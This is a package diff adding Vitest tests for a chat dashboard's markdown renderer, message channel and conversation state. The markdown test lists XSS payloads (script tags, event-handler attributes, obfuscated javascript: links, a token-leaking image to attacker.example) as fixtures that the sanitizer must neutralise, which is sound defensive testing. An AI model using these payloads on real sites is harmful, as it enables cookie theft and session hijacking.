@antelopejs/dms-ai 0.1.3 → 0.1.5

package/frontend-vue/tests/chat/markdown.test.ts

@@ -0,0 +1,271 @@
+import { describe, expect, it } from "vitest";
+import {
+	createIncrementalMarkdown,
+	renderMarkdown,
+} from "../../app/chat/utils/markdown";
+
+/** The only markup model output may bring into the dashboard's document. */
+const ALLOWED_ELEMENTS = new Set([
+	"a",
+	"blockquote",
+	"br",
+	"code",
+	"del",
+	"em",
+	"h1",
+	"h2",
+	"h3",
+	"h4",
+	"h5",
+	"h6",
+	"hr",
+	"li",
+	"ol",
+	"p",
+	"pre",
+	"s",
+	"strong",
+	"table",
+	"tbody",
+	"td",
+	"th",
+	"thead",
+	"tr",
+	"ul",
+]);
+const ALLOWED_ATTRIBUTES = new Set(["href", "title", "target", "rel", "start"]);
+const SAFE_HREF = /^(?:https?:|mailto:|\/(?![/\\])|#)/i;
+
+function renderInDocument(source: string): HTMLElement {
+	const host = document.createElement("div");
+	host.innerHTML = renderMarkdown(source);
+	return host;
+}
+
+/**
+ * Walks what the browser would build from the HTML: whatever the model wrote,
+ * only allowed elements and attributes, and links that cannot run code. What
+ * was refused stays on screen as text, which is harmless.
+ */
+function expectHarmless(html: string): void {
+	const host = document.createElement("div");
+	host.innerHTML = html;
+	for (const element of host.querySelectorAll("*")) {
+		expect(ALLOWED_ELEMENTS.has(element.localName), element.localName).toBe(
+			true,
+		);
+		for (const attribute of element.attributes) {
+			expect(ALLOWED_ATTRIBUTES.has(attribute.name), attribute.name).toBe(true);
+		}
+		const href = element.getAttribute("href");
+		if (href !== null) expect(href).toMatch(SAFE_HREF);
+	}
+}
+
+describe("model output renders as inert markup", () => {
+	const injections: Record<string, string> = {
+		"a raw script": "<script>fetch('/api/_auth/session')</script>",
+		"an image with an error handler":
+			'<img src=x onerror="alert(document.cookie)">',
+		"an svg with a load handler": "<svg onload=alert(1)><circle/></svg>",
+		"an iframe": '<iframe src="https://attacker.example"></iframe>',
+		"a style block dressing up the page":
+			"<style>body{position:fixed;inset:0;background:red}</style>",
+		"a form": '<form action="https://attacker.example"><input name=q></form>',
+		"a details toggle": "<details open ontoggle=alert(1)>x</details>",
+		"a javascript link": "[click](javascript:alert(document.cookie))",
+		"a mixed-case javascript link": "[click](JaVaScRiPt:alert(1))",
+		"an entity-encoded javascript link": "[click](&#106;avascript:alert(1))",
+		"a tab-split javascript link": "[click](java\tscript:alert(1))",
+		"a vbscript link": "[click](vbscript:msgbox(1))",
+		"a data: html link":
+			"[click](data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==)",
+		"a javascript autolink": "<javascript:alert(1)>",
+		"a javascript reference link": "[click][x]\n\n[x]: javascript:alert(1)",
+		"a title breaking out of its attribute":
+			'[a](https://example.com "x\\" onmouseover=\\"alert(1)")',
+		"a raw anchor": '<a href="javascript:alert(1)">x</a>',
+		"a fenced code language dressing the block": "```fixed inset-0\ncode\n```",
+		"a remote markdown image":
+			"![secret](https://attacker.example/leak.png?token=SECRET)",
+		"a relative markdown image": "![events](/ai/channel/events)",
+		"a data image": "![x](data:image/png;base64,iVBORw0KGgo=)",
+		"a table alignment": "| a |\n|:-:|\n| b |",
+	};
+
+	for (const [name, source] of Object.entries(injections)) {
+		it(`neutralises ${name}`, () => {
+			expectHarmless(renderMarkdown(source));
+		});
+	}
+
+	it("shows a refused link as its text, with nothing to click", () => {
+		const host = renderInDocument("[click](javascript:alert(document.cookie))");
+		expect(host.querySelector("a")).toBeNull();
+		expect(host.textContent).toContain("[click]");
+	});
+
+	it("keeps a quote in a link title inside the attribute", () => {
+		const host = renderInDocument(
+			'[a](https://example.com "x\\" onmouseover=\\"alert(1)")',
+		);
+		const link = host.querySelector("a");
+		expect(link?.getAttribute("onmouseover")).toBeNull();
+		expect(link?.getAttribute("title")).toBe('x" onmouseover="alert(1)');
+	});
+
+	it("keeps raw HTML as visible text rather than markup", () => {
+		const host = renderInDocument("<b>bold</b> <script>x()</script>");
+		expect(host.querySelector("b, script")).toBeNull();
+		expect(host.textContent).toContain("<b>bold</b>");
+	});
+
+	it("turns an image into a link to follow, so nothing is fetched on its own", () => {
+		const host = renderInDocument(
+			"![a chart](https://example.com/chart.png?q=1)",
+		);
+		expect(host.querySelector("img")).toBeNull();
+		const link = host.querySelector("a");
+		expect(link?.getAttribute("href")).toBe(
+			"https://example.com/chart.png?q=1",
+		);
+		expect(link?.textContent).toBe("a chart (example.com)");
+	});
+
+	it("names where an image link leads, so a harmless caption cannot hide it", () => {
+		const host = renderInDocument(
+			"![Click to view](https://attacker.example/leak.png?token=SECRET) ![](https://cdn.example/x.png) ![events](/ai/channel/events)",
+		);
+		expect(
+			[...host.querySelectorAll("a")].map((link) => link.textContent),
+		).toEqual([
+			"Click to view (attacker.example)",
+			"cdn.example",
+			"events (/ai/channel/events)",
+		]);
+	});
+
+	it("opens every link in a new tab that cannot reach back to the dashboard", () => {
+		const host = renderInDocument(
+			"[docs](https://antelopejs.com) and https://example.com/page",
+		);
+		const links = [...host.querySelectorAll("a")];
+		expect(links).toHaveLength(2);
+		for (const link of links) {
+			expect(link.getAttribute("target")).toBe("_blank");
+			expect(link.getAttribute("rel")).toBe("noopener noreferrer");
+		}
+	});
+
+	it("keeps the safe links: https, mailto and pages of the dashboard", () => {
+		const host = renderInDocument(
+			"[a](https://example.com) [b](mailto:dev@example.com) [c](/modules/ai/settings)",
+		);
+		expect(
+			[...host.querySelectorAll("a")].map((link) => link.getAttribute("href")),
+		).toEqual([
+			"https://example.com",
+			"mailto:dev@example.com",
+			"/modules/ai/settings",
+		]);
+	});
+
+	it("still renders the markdown an answer is made of", () => {
+		const host = renderInDocument(
+			"# Title\n\n- **bold** and *em* and ~~gone~~\n- `code`\n\n```ts\nconst a = 1\n```\n\n> quote\n\n| a | b |\n|---|---|\n| 1 | 2 |\n\n---",
+		);
+		for (const tag of [
+			"h1",
+			"ul",
+			"strong",
+			"em",
+			"s",
+			"code",
+			"pre",
+			"blockquote",
+			"table",
+			"hr",
+		]) {
+			expect(host.querySelector(tag), tag).not.toBeNull();
+		}
+	});
+
+	it("does not touch the sanitizer the rest of the dashboard shares", async () => {
+		const shared = (await import("dompurify")).default;
+		renderMarkdown("[x](https://example.com)");
+		expect(shared.sanitize('<a href="https://example.com">x</a>')).not.toMatch(
+			/target=/,
+		);
+	});
+});
+
+describe("a streaming answer renders incrementally", () => {
+	const ANSWER =
+		"# Plan\n\nFirst paragraph with **bold** text.\n\n- one\n- two\n\n  still two\n- three\n\n```ts\nconst x = 1;\n\nconst y = 2;\n```\n\n| a | b |\n|---|---|\n| 1 | 2 |\n\nLast paragraph, [a link](https://example.com).";
+
+	function streamInChunks(text: string, size: number) {
+		const incremental = createIncrementalMarkdown();
+		let last = { settled: [] as readonly string[], open: "" };
+		for (let end = size; end < text.length + size; end += size) {
+			last = incremental.render(text.slice(0, Math.min(end, text.length)));
+		}
+		return last;
+	}
+
+	for (const size of [1, 3, 7, 50]) {
+		it(`ends with what a whole render gives, in chunks of ${size}`, () => {
+			const { settled, open } = streamInChunks(ANSWER, size);
+			expect([...settled, open].join("")).toBe(renderMarkdown(ANSWER));
+		});
+	}
+
+	it("renders each settled block once, however many chunks follow it", () => {
+		const incremental = createIncrementalMarkdown();
+		const first = incremental.render("Settled paragraph.\n\nOpen");
+		const later = incremental.render("Settled paragraph.\n\nOpen and growing");
+		expect(first.settled).toEqual(["<p>Settled paragraph.</p>\n"]);
+		expect(later.settled[0]).toBe(first.settled[0]);
+		expect(later.open).toBe("<p>Open and growing</p>\n");
+	});
+
+	it("keeps a code block open until its fence closes", () => {
+		const incremental = createIncrementalMarkdown();
+		const open = incremental.render("```ts\nconst a = 1;\n\nconst b = 2;");
+		expect(open.settled).toEqual([]);
+		const closed = incremental.render(
+			"```ts\nconst a = 1;\n\nconst b = 2;\n```\n\nAfter.",
+		);
+		expect(closed.settled).toHaveLength(1);
+		expect(closed.settled[0]).toContain("const b = 2;");
+		expect(closed.open).toBe("<p>After.</p>\n");
+	});
+
+	it("starts over when the text is replaced rather than extended", () => {
+		const incremental = createIncrementalMarkdown();
+		incremental.render("One.\n\nTwo");
+		const replaced = incremental.render("Other.\n\nText");
+		expect(replaced.settled).toEqual(["<p>Other.</p>\n"]);
+	});
+
+	it("sanitizes what it renders incrementally too", () => {
+		const incremental = createIncrementalMarkdown();
+		const { settled, open } = incremental.render(
+			"[x](javascript:alert(1))\n\n![y](https://attacker.example/?q=1)",
+		);
+		expectHarmless([...settled, open].join(""));
+	});
+
+	it("keeps its work per chunk bounded by the last block, not the whole answer", () => {
+		const paragraphs = Array.from(
+			{ length: 400 },
+			(_, index) => `Paragraph ${index} with some **words** in it.`,
+		).join("\n\n");
+		const incremental = createIncrementalMarkdown();
+		let renderedChars = 0;
+		for (let end = 40; end <= paragraphs.length; end += 40) {
+			const { open } = incremental.render(paragraphs.slice(0, end));
+			renderedChars += open.length;
+		}
+		expect(renderedChars).toBeLessThan(paragraphs.length * 5);
+	});
+});

package/frontend-vue/tests/chat/useChatChannel.test.ts

@@ -0,0 +1,124 @@
+import { afterEach, describe, expect, it } from "vitest";
+import {
+	type ChatChannel,
+	createChatChannel,
+} from "../../app/chat/composables/useChatChannel";
+import {
+	CHAT_ROLE,
+	CLIENT_MESSAGE_TYPES,
+	CONNECTION_STATUSES,
+	SERVER_EVENT_TYPES,
+} from "../../app/chat/constants/protocol";
+import type { ChannelStatus } from "../../app/runtime/channel-client";
+import { createChatTransport } from "../../app/runtime/chat-transport";
+
+const CONVERSATION_ID = "conv-channel-1";
+
+const HELLO = {
+	type: CLIENT_MESSAGE_TYPES.HELLO,
+	role: CHAT_ROLE,
+	conversationId: CONVERSATION_ID,
+};
+
+interface FakeStream {
+	sent: unknown[];
+	reconnects: number;
+	status: ChannelStatus;
+	hub: ReturnType<typeof createChatTransport>;
+}
+
+/** The dashboard's side: a stream whose status the test drives. */
+function fakeStream(status: ChannelStatus): FakeStream {
+	const stream: FakeStream = {
+		sent: [],
+		reconnects: 0,
+		status,
+		hub: createChatTransport({
+			send: (msg) => {
+				if (stream.status !== CONNECTION_STATUSES.CONNECTED) return false;
+				stream.sent.push(msg);
+				return true;
+			},
+			reconnect: () => {
+				stream.reconnects += 1;
+			},
+			getStatus: () => stream.status,
+		}),
+	};
+	return stream;
+}
+
+let channel: ChatChannel | undefined;
+
+function open(stream: FakeStream): ChatChannel {
+	channel = createChatChannel({
+		transport: stream.hub.transport,
+		getConversationId: () => CONVERSATION_ID,
+	});
+	channel.start();
+	return channel;
+}
+
+afterEach(() => {
+	channel?.stop();
+	channel = undefined;
+});
+
+describe("the chat's side of the dashboard's stream", () => {
+	it("hands the chat every message meant for it, a running turn's progress included", () => {
+		const stream = fakeStream(CONNECTION_STATUSES.CONNECTED);
+		const received: unknown[] = [];
+		open(stream).result.onMessage((msg) => received.push(msg));
+		const progress = {
+			type: SERVER_EVENT_TYPES.RUN_PROGRESS,
+			conversationId: CONVERSATION_ID,
+			activity: "tool",
+			detail: "Write",
+			elapsedMs: 5_000,
+			idleMs: 0,
+		};
+		stream.hub.deliver(progress);
+		expect(received).toEqual([progress]);
+	});
+
+	it("says hello with its conversation when it attaches and on every new connection", () => {
+		const stream = fakeStream(CONNECTION_STATUSES.CONNECTED);
+		open(stream);
+		stream.hub.announceReady();
+		expect(stream.sent).toEqual([HELLO, HELLO]);
+	});
+
+	it("tells the chat a message did not leave while the stream is down", () => {
+		const stream = fakeStream(CONNECTION_STATUSES.RECONNECTING);
+		const { result } = open(stream);
+		expect(result.isConnected.value).toBe(false);
+		expect(result.send({ type: CLIENT_MESSAGE_TYPES.INTERRUPT_TURN })).toBe(
+			false,
+		);
+		stream.status = CONNECTION_STATUSES.CONNECTED;
+		stream.hub.announceStatus(CONNECTION_STATUSES.CONNECTED);
+		expect(result.isConnected.value).toBe(true);
+		expect(result.send({ type: CLIENT_MESSAGE_TYPES.INTERRUPT_TURN })).toBe(
+			true,
+		);
+	});
+
+	it("reconnects the dashboard's stream when the chat asks, as the stalled-run notice does", () => {
+		const stream = fakeStream(CONNECTION_STATUSES.CONNECTED);
+		open(stream).result.reconnect();
+		expect(stream.reconnects).toBe(1);
+	});
+
+	it("hands nothing over and sends nothing once stopped", () => {
+		const stream = fakeStream(CONNECTION_STATUSES.CONNECTED);
+		const received: unknown[] = [];
+		const opened = open(stream);
+		opened.result.onMessage((msg) => received.push(msg));
+		opened.stop();
+		stream.hub.deliver({ type: SERVER_EVENT_TYPES.RUN_DONE });
+		expect(received).toEqual([]);
+		expect(opened.result.send({ type: CLIENT_MESSAGE_TYPES.HELLO })).toBe(
+			false,
+		);
+	});
+});

package/frontend-vue/tests/chat/useConversation.test.ts

@@ -0,0 +1,283 @@
+import { describe, expect, it } from "vitest";
+import { ref } from "vue";
+import { useConversation } from "../../app/chat/composables/useConversation";
+import {
+	MESSAGE_ROLES,
+	NOT_SENT_MESSAGE,
+	RETRY_NEEDS_FILES_MESSAGE,
+	STOP_NOT_DELIVERED_MESSAGE,
+	TOOL_CUT_SHORT_RESULT,
+	TOOL_STATUS,
+} from "../../app/chat/constants/conversation";
+import {
+	CLIENT_MESSAGE_TYPES,
+	SERVER_EVENT_TYPES,
+} from "../../app/chat/constants/protocol";
+import {
+	ACTIVITY_KINDS,
+	QUIET_NOTICE_AFTER_MS,
+} from "../../app/chat/constants/run-status";
+import type { RunProgress } from "../../app/chat/types/conversation";
+import type { PendingAttachment } from "../../app/chat/utils/attachments";
+import { isAgentQuiet } from "../../app/chat/utils/run-status";
+
+const CONVERSATION_ID = "conv-chat-1";
+const FILE_DATA = "PGh0bWw+PC9odG1sPg==";
+
+interface Harness {
+	conversation: ReturnType<typeof useConversation>;
+	sent: Record<string, unknown>[];
+	receive: (event: Record<string, unknown>) => void;
+	setConnected: (isConnected: boolean) => void;
+}
+
+function harness(): Harness {
+	const sent: Record<string, unknown>[] = [];
+	let isConnected = true;
+	let deliver: (msg: unknown) => void = () => {};
+	const conversation = useConversation({
+		activeId: ref(CONVERSATION_ID),
+		send: (msg) => {
+			if (!isConnected) return false;
+			sent.push(msg as Record<string, unknown>);
+			return true;
+		},
+		onMessage: (handler) => {
+			deliver = handler;
+			return () => {};
+		},
+	});
+	return {
+		conversation,
+		sent,
+		receive: (event) => deliver({ conversationId: CONVERSATION_ID, ...event }),
+		setConnected: (value) => {
+			isConnected = value;
+		},
+	};
+}
+
+function attachment(): PendingAttachment {
+	return {
+		id: "att-1",
+		name: "OP_Manager_v176.html",
+		mimeType: "text/html",
+		size: 13,
+		data: FILE_DATA,
+		dataUrl: `data:text/html;base64,${FILE_DATA}`,
+	};
+}
+
+function startToolCall(h: Harness): void {
+	h.receive({
+		type: SERVER_EVENT_TYPES.TOOL_CALL_START,
+		callId: "call-1",
+		toolName: "Bash",
+		args: { command: "pnpm dev" },
+	});
+}
+
+describe("a run that fails reaches the user", () => {
+	it("ends the run with the reason, and leaves no tool running", () => {
+		const h = harness();
+		h.conversation.sendUserMessage("reproduire sans casser le design", [
+			attachment(),
+		]);
+		startToolCall(h);
+		h.receive({
+			type: SERVER_EVENT_TYPES.RUN_ERROR,
+			error: "The agent stopped before finishing its answer.",
+		});
+		const messages = h.conversation.messages.value;
+		expect(h.conversation.isRunning.value).toBe(false);
+		expect(messages.at(-1)).toMatchObject({
+			role: MESSAGE_ROLES.ERROR,
+			content: "The agent stopped before finishing its answer.",
+		});
+		expect(messages.find((m) => m.role === MESSAGE_ROLES.TOOL)).toMatchObject({
+			status: TOOL_STATUS.ERROR,
+			result: TOOL_CUT_SHORT_RESULT,
+		});
+	});
+
+	it("says a message was not sent instead of waiting for an answer", () => {
+		const h = harness();
+		h.setConnected(false);
+		h.conversation.sendUserMessage("reproduire sans casser le design");
+		expect(h.conversation.isRunning.value).toBe(false);
+		expect(h.conversation.messages.value.at(-1)).toMatchObject({
+			role: MESSAGE_ROLES.ERROR,
+			content: NOT_SENT_MESSAGE,
+		});
+	});
+
+	it("retries the last message with its file", () => {
+		const h = harness();
+		h.conversation.sendUserMessage("reproduire sans casser le design", [
+			attachment(),
+		]);
+		h.receive({ type: SERVER_EVENT_TYPES.RUN_ERROR, error: "API Error: 529" });
+		h.conversation.retry();
+		const resent = h.sent.filter(
+			(msg) => msg.type === CLIENT_MESSAGE_TYPES.USER_MESSAGE,
+		);
+		expect(resent).toHaveLength(2);
+		expect(resent[1]).toMatchObject({
+			content: "reproduire sans casser le design",
+			attachments: [{ name: "OP_Manager_v176.html", data: FILE_DATA }],
+		});
+		expect(h.conversation.isRunning.value).toBe(true);
+	});
+
+	it("shows an unsent message once, even after a retry", () => {
+		const h = harness();
+		h.setConnected(false);
+		h.conversation.sendUserMessage("reproduire sans casser le design");
+		h.setConnected(true);
+		h.conversation.retry();
+		const bubbles = h.conversation.messages.value.filter(
+			(msg) => msg.role === MESSAGE_ROLES.USER,
+		);
+		expect(bubbles).toHaveLength(1);
+		expect(bubbles[0]).not.toHaveProperty("isUnsent");
+		expect(h.sent).toHaveLength(1);
+	});
+
+	it("offers no retry for a failure the same request cannot get past", () => {
+		const h = harness();
+		h.conversation.sendUserMessage("go");
+		h.receive({
+			type: SERVER_EVENT_TYPES.RUN_ERROR,
+			error: "The conversation no longer fits in the model's context.",
+			isRetryable: false,
+		});
+		h.receive({
+			type: SERVER_EVENT_TYPES.CONVERSATION_SNAPSHOT,
+			messages: [
+				{ role: "user", content: "go", timestampMs: 1 },
+				{
+					role: "error",
+					content: "The conversation no longer fits in the model's context.",
+					isRetryable: false,
+					timestampMs: 2,
+				},
+				{ role: "error", content: "API Error: 529", timestampMs: 3 },
+			],
+		});
+		const [, tooLong, overloaded] = h.conversation.messages.value;
+		expect(tooLong).toMatchObject({ isRetryable: false });
+		expect(overloaded).toMatchObject({ isRetryable: true });
+	});
+
+	it("asks for the files again when a reload dropped them", () => {
+		const h = harness();
+		h.receive({
+			type: SERVER_EVENT_TYPES.CONVERSATION_SNAPSHOT,
+			messages: [
+				{
+					role: "user",
+					content: "reproduire sans casser le design",
+					attachments: [
+						{ name: "OP_Manager_v176.html", mimeType: "text/html", size: 13 },
+					],
+					timestampMs: 1,
+				},
+				{ role: "error", content: "The run was stopped.", timestampMs: 2 },
+			],
+		});
+		h.conversation.retry();
+		expect(h.sent).toEqual([]);
+		expect(h.conversation.messages.value.at(-1)).toMatchObject({
+			content: RETRY_NEEDS_FILES_MESSAGE,
+		});
+	});
+
+	it("shows a stored error and settles tools left open after a reload", () => {
+		const h = harness();
+		h.receive({
+			type: SERVER_EVENT_TYPES.CONVERSATION_SNAPSHOT,
+			messages: [
+				{ role: "user", content: "go", timestampMs: 1 },
+				{
+					role: "tool_use",
+					content: "{}",
+					toolName: "Bash",
+					callId: "call-1",
+					timestampMs: 2,
+				},
+				{ role: "error", content: "The run was stopped.", timestampMs: 3 },
+			],
+		});
+		const [, tool, error] = h.conversation.messages.value;
+		expect(tool).toMatchObject({ status: TOOL_STATUS.ERROR });
+		expect(error).toMatchObject({
+			role: MESSAGE_ROLES.ERROR,
+			content: "The run was stopped.",
+		});
+	});
+
+	it("lets the run go when Stop cannot reach the assistant", () => {
+		const h = harness();
+		h.conversation.sendUserMessage("go");
+		h.setConnected(false);
+		h.conversation.interrupt();
+		expect(h.conversation.isRunning.value).toBe(false);
+		expect(h.conversation.messages.value.at(-1)).toMatchObject({
+			content: STOP_NOT_DELIVERED_MESSAGE,
+		});
+	});
+});
+
+describe("a run that keeps working shows it", () => {
+	it("keeps what the agent reports, and when it last heard from the sidecar", () => {
+		const h = harness();
+		h.conversation.sendUserMessage("go");
+		const before = h.conversation.lastEventAtMs.value;
+		h.receive({
+			type: SERVER_EVENT_TYPES.RUN_PROGRESS,
+			activity: "writing",
+			detail: "Write",
+			elapsedMs: 42_000,
+			idleMs: 1_000,
+		});
+		expect(h.conversation.isTurnInFlight.value).toBe(true);
+		expect(h.conversation.progress.value).toMatchObject({
+			activity: "writing",
+			detail: "Write",
+			elapsedMs: 42_000,
+		});
+		expect(h.conversation.lastEventAtMs.value).toBeGreaterThanOrEqual(before);
+	});
+
+	it("forgets the progress once the run is over", () => {
+		const h = harness();
+		h.conversation.sendUserMessage("go");
+		h.receive({
+			type: SERVER_EVENT_TYPES.RUN_PROGRESS,
+			activity: "thinking",
+			elapsedMs: 0,
+			idleMs: 0,
+		});
+		h.receive({ type: SERVER_EVENT_TYPES.RUN_DONE });
+		expect(h.conversation.progress.value).toBeNull();
+		expect(h.conversation.isTurnInFlight.value).toBe(false);
+		expect(h.conversation.isRunning.value).toBe(false);
+	});
+});
+
+describe("a quiet agent is only called out when silence is unexpected", () => {
+	const quietFor = (activity: RunProgress["activity"]): RunProgress => ({
+		activity,
+		elapsedMs: QUIET_NOTICE_AFTER_MS,
+		idleMs: QUIET_NOTICE_AFTER_MS,
+		receivedAtMs: 0,
+	});
+
+	it("says so while the model is thinking", () => {
+		expect(isAgentQuiet(quietFor(ACTIVITY_KINDS.THINKING), 0)).toBe(true);
+	});
+
+	it("stays silent while a tool runs without output", () => {
+		expect(isAgentQuiet(quietFor(ACTIVITY_KINDS.TOOL), 0)).toBe(false);
+	});
+});